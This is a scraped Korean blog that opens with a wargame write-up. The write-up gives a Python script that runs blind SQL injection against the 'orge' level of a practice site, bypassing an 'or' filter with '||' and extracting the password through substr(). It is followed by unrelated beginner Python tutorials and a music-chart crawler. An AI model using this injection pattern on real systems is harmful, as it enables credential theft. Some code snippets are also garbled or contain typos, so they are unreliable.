문제를 보면 or과 and를 필터링 하고 있다. 문제를 풀려면 pw의 정확한 값을 알아내야 한다. pw의 정확한 값을 알아내기 위해 먼저 pw의 길이를 알아내고, 그다음에 정확한 값을 알아내야 한다. pw 길이를 알아내기 위해서는 orc 문제를 풀때 사용했던 것처럼 length() 함수를 사용할 것이고, 값을 알아내기 위해서는 substr() 함수를 사용할 것이다. 전체적인 코드는 orc 문제의 코드와 비슷하나 or 이라는 문자열이 필터링 되었기 때문에 동일한 역활을 하는 || 연산자로 우회를 하면 문제를 해결할 수 있다.

# los_orge.py
import requests
import re

headers = {'cookie': 'PHPSESSID=r6u3ju9bidkgqfvu2vtfc7h3cv;'}
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/'

pw_len = 0
pw = ''
tryList = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
# substr() 함수에서 대입할 문자들(숫자, 알파벳 대소문자)

# pw 길이 알아내기
while True:
    pw_len += 1
    payload = "?pw=' || length(pw)='" +str(pw_len)
    r = requests.get(url+payload, headers = headers)0
    if(re.findall('Hello admin', r.text)):
        break

print('password length : ' +str(pw_len))

# 정확한 값 알아내기
for i in range(1, pw_len+1):
    for j in range(len(tryList)+1):
        payload = "?pw=' || substr(pw," +str(i) +",1)='" +str(tryList[j])
        r = requests.get(url+payload, headers=headers)
        print(payload)

        if re.findall('Hello admin', r.text):
            print(tryList[j])
            pw += str(tryList[j])
            break

print('password : '+pw)

코드를 수행하면 다음과 같은 결과가 나오고 찾은 pw 값을 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
  1. import requests
  2. from bs4 import BeautifulSoup
  3.  
  4.  
  5.  
  6.  
  7. = open("crawl_data.txt", 'w', -1, "utf-8")        # utf-8 속성이 있어야 파일 쓸 때 인코딩 에러 x
  8. header = {'User-Agent''Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}    # 멜론 사이트는 헤더 값이 있어야 함
  9.  
  10. code = requests.get(url, headers = header).text     # 크롤링할 페이지의 모든 태그를 가져옴
  11. soup = BeautifulSoup(code,'html.parser')            # html 파일을 가져옴
  12. title = soup.find_all("div", {"class":"ellipsis rank01"})       # 노래 제목의 정보는 div 태그의 ellipsis rank01클래스 안에 있음
  13.                                                                 # find_all함수는 해당 조건에 맞는 모든 태그를 가져옴
  14. singer = soup.find_all("div", {"class":"ellipsis rank02"})      # 가수의 정보는 div 태그의 ellipsis rank02클래스 안에 있음
  15.  
  16. real_title = []
  17. real_singer = []
  18.  
  19. for i in title:
  20.     real_title.append(i.find('a').text)         # html 태그에서 노래 제목만(a 태그의 텍스트 값)
  21.                                                 # find함수는 해당 조건에 맞는 하나의 태그만 가져옴. 중복이면 가장 첫 번째 태그
  22.  
  23. for j in singer:
  24.     real_singer.append(j.find('a').text)        # html 태그에서 가수만(a 태그의 텍스트 값)
  25.  
  26. for k in range(1,51):   # 차트 순위가 1위~50위
  27.     f.write("{}.{} -{}\n".format(k,real_title[k],real_singer[k]))   # '1(순위).노래제목 -가수'의 형태로 데이터를 저장
  28.  
  29. f.close()

 

결과 값 : 

'Language > Python' 카테고리의 다른 글

2차원 리스트 행렬 변환  (0) 2021.07.02
반복문(for)  (0) 2019.03.07
반복문(while)  (0) 2019.02.09
조건문(if)  (0) 2019.02.08
입력 함수(input)  (0) 2019.02.08

리스트, 튜플, 문자열 등 요소가 나열된 자료형의 첫 요소부터 마지막 요소까지 변수에 대입

요소 개수만큼 반복


[기본 구조]

for 변수 in 리스트 :

수행문 (이때 변수에는 리스트의 요소 값이 대입된 상태)


for문에서 사용되는 변수는 선언과 동시에 생성 되는 개념이기 때문에 미리 만들어 놓지 않아도 된다.

1
2
3
for i in [123456789]:
    print(i*2)
# 출력값 : 246, 912, 1578
cs


range() : 지정한 범위 만큼 숫자들을 반환하는 함수

1
2
print(list(range(1,10)))
# 출력값 : [1, 2, 3, 4, 5, 6, 7, 8, 9]

cs

시작 숫자를 지정하고 끝 숫자는 포함하지 않는다.


for문에서 range()함수 사용

1
2
3
4
5
add = 0
for i in range(1,11):
    add += i # i의 값을 add에 누적
print("1~10까지 합 :", add)
출력값 : 1~10까지 합 : 55
cs



'Language > Python' 카테고리의 다른 글

2차원 리스트 행렬 변환  (0) 2021.07.02
멜론차트 1~50위 크롤링  (0) 2019.09.02
반복문(while)  (0) 2019.02.09
조건문(if)  (0) 2019.02.08
입력 함수(input)  (0) 2019.02.08

조건식이 참이면 수행 후 다시 조건식 비교


[기본 구조]

while 조건식:

수행문


조건식에 들어가는 변수는 조건 비교를 위해 사용되는 변수로 미리 만들어 놓지 않으면 오류가 난다.


@ 반복 횟수 지정

1
2
3
4
5
count = int( input("반복 횟수 입력") )
 
while count > 0 :
    print("count = {}".format(count))
    count -= 1
cs

count의 값이 0보다 크면 수행된다.

print 의 내용을 출력하고 count의 값을 1씩 감소한다.

count의 값이 0이 되면 반복문이 수행되지 않는다.


@ 특정 조건 반복

1
2
3
num = 0
while num != 9 : 
    num = int( input("9를 입력하면 종료 : ") )
cs

num이 0이 아니면 반복한다.



'Language > Python' 카테고리의 다른 글

멜론차트 1~50위 크롤링  (0) 2019.09.02
반복문(for)  (0) 2019.03.07
조건문(if)  (0) 2019.02.08
입력 함수(input)  (0) 2019.02.08
bool 자료형  (0) 2019.02.07

[if문의 구조]

if 조건식:

수행문

elif 조건식:

수행문

elif 조건식:

수행문

else:

수행문


1. 조건식

참이나 거짓의 결과가 나오는 식이 있어야 한다.

끝에는 클론(:)을 붙인다. 클론 뒤버터 수행문으로 간주된다.


2. 수행문 

조건식이 만족할 때 수행하고 싶은 코드들

수행문이 되려면 들여쓰기를 해줘야 한다.


3. elif 조건식:

위 조건식이 만족하지 않을 때 검사하는 조건문

if문에 종속되어 혼자 사용 불가능하며 원하는 만큼 여러개가 사용 가능하다.


4. else:

위 조건식들이 모두 만족하지 않으면 수행

if문에 종속되며 하나만 사용 가능하다.

'Language > Python' 카테고리의 다른 글

반복문(for)  (0) 2019.03.07
반복문(while)  (0) 2019.02.09
입력 함수(input)  (0) 2019.02.08
bool 자료형  (0) 2019.02.07
집합(Set)  (0) 2019.02.03

@ 입력

1
input("입력 : ")
cs


@ 입력값을 변수에 대입

1
input_data = input("입력 : ")
cs

입력된 문자열이 변수에 대입되어 저장된다.


@ 숫자를 입력

1
int(input("입력 : "))
cs

입력을 받으면 문자열로 인식하기 때문에 숫자로 형변환을 한다.


@ 한 번에 여러 값을 입력(1)

1
a,b,c = input("입력 : ").split( )
cs

공백을 기준으로 문자열을 나누어서 저장. 기준이 되는 값은 ".", ","등 다양하게 사용 가능


@ 한 번에 여러 값을 입력(2)

1
num1, num2, num3 = map(int, input("숫자 3개 입력 : ").split())
cs

map(함수, 반복 가능한 자료)

반복 가능한 자료의 요소 마다 함수를 수행한다.

여러개의 변수들을 한번에 int형으로 형변환이 가능해진다.

'Language > Python' 카테고리의 다른 글

반복문(while)  (0) 2019.02.09
조건문(if)  (0) 2019.02.08
bool 자료형  (0) 2019.02.07
집합(Set)  (0) 2019.02.03
딕셔너리(Dictionary)  (0) 2019.02.03

참(True)과 거짓(False)를 판별 해주는 자료형. 값은 두개만 있다.

[참과 거짓을 따졌을 때 거짓인 경우]

1. 요소가 없다.

2. 숫자가 0이다.

3. None : 값이 없다는 것을 표현


1
2
3
4
5
6
print(bool(1))
# 출력값 : True
print(bool(0))
# 출력값 : False
print(bool(-59))
# 출력값 : True


bool 자료형은 0이 아니면 모두 True이다. 1은 True를 의미하는 대표적인 숫자


'Language > Python' 카테고리의 다른 글

조건문(if)  (0) 2019.02.08
입력 함수(input)  (0) 2019.02.08
집합(Set)  (0) 2019.02.03
딕셔너리(Dictionary)  (0) 2019.02.03
튜플(Tuple)  (0) 2019.01.31

집합 자료형은 순서가 없어 인덱싱이 불가능 하다.

요소의 중복이 허용되지 않는다.

> 요소의 중복 제거 용도로 쓰일 수 있다.


1
2
3
set1 = {1,2,1,2,4,5,2,1,4}
print(set1)
# 출력값 : {1, 2, 4, 5}
cs

중복된 값들은 제거되고 출력된다.


집합을 인덱싱하고 싶으면 리스트로 변환하여 인덱싱이 가능하다.

1
2
3
4
set1 = {1,2,1,2,4,5,2,1,4}
lis = list(set1) # {1, 2, 4, 5}
print(lis[2])
# 출력값 : 4
cs


'Language > Python' 카테고리의 다른 글

입력 함수(input)  (0) 2019.02.08
bool 자료형  (0) 2019.02.07
딕셔너리(Dictionary)  (0) 2019.02.03
튜플(Tuple)  (0) 2019.01.31
리스트 관련 함수  (0) 2019.01.31

형태 : {key1:value1, key2:value2, ... }

딕셔너리 자료형은 순서가 없어서 인덱싱이나 슬라이싱이 가능하지 않다.

<주의사항>

- key는 중복되면 안 된다. (value를 찾아가는 인덱스 같은 역할)

- key에는 리스트, 딕셔너리 데이터를 사용할 수 없다.

> key : 변하지 않는 값 (숫자, 문자열, 튜플)

> value : 아무거나 사용 가능 (중복도 가능)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dic = {"apple":"사과""school":"학교""book":"책"}
print(dic)
# 출력값 : {'apple': '사과', 'school': '학교', 'book': '책'}
print(dic["school"])
# 출력값 : 학교
 
# 딕셔너리 추가
dic["cat"= "고양이"
print(dic)
# 출력값 : {'apple': '사과', 'school': '학교', 'book': '책', 'cat': '고양이'}
 
# 딕셔너리 삭제
del(dic["apple"])
print(dic)
# 출력값 : {'school': '학교', 'book': '책', 'cat': '고양이'}
cs

딕셔너리는 출력할 때 key를 인덱싱 하듯이 사용하면 value 값이 반환된다.

딕셔너리에 값을 추가할 때는 [key] = value 형태로 추가한다. 

값을 삭제할 때는 지우고 싶은 key를 사용하면 value와 함께 한 쌍으로 제거된다.

'Language > Python' 카테고리의 다른 글

bool 자료형  (0) 2019.02.07
집합(Set)  (0) 2019.02.03
튜플(Tuple)  (0) 2019.01.31
리스트 관련 함수  (0) 2019.01.31
리스트(List)  (0) 2019.01.30

튜플은 ( )소괄호로 생성 할 수 있다.

한 번 생성하면 값을 바꿀 수 없다.

1
2
3
tu = (1,2,3)
print(tu)
# 출력값 : (1, 2, 3)
cs


튜플을 생성할 때는 괄호를 생략할 수 있다.

1
2
3
tu = 1,2,3
print(tu)
# 출력값 : (1, 2, 3)
cs


'Language > Python' 카테고리의 다른 글

집합(Set)  (0) 2019.02.03
딕셔너리(Dictionary)  (0) 2019.02.03
리스트 관련 함수  (0) 2019.01.31
리스트(List)  (0) 2019.01.30
포매팅  (0) 2019.01.30

+ Recent posts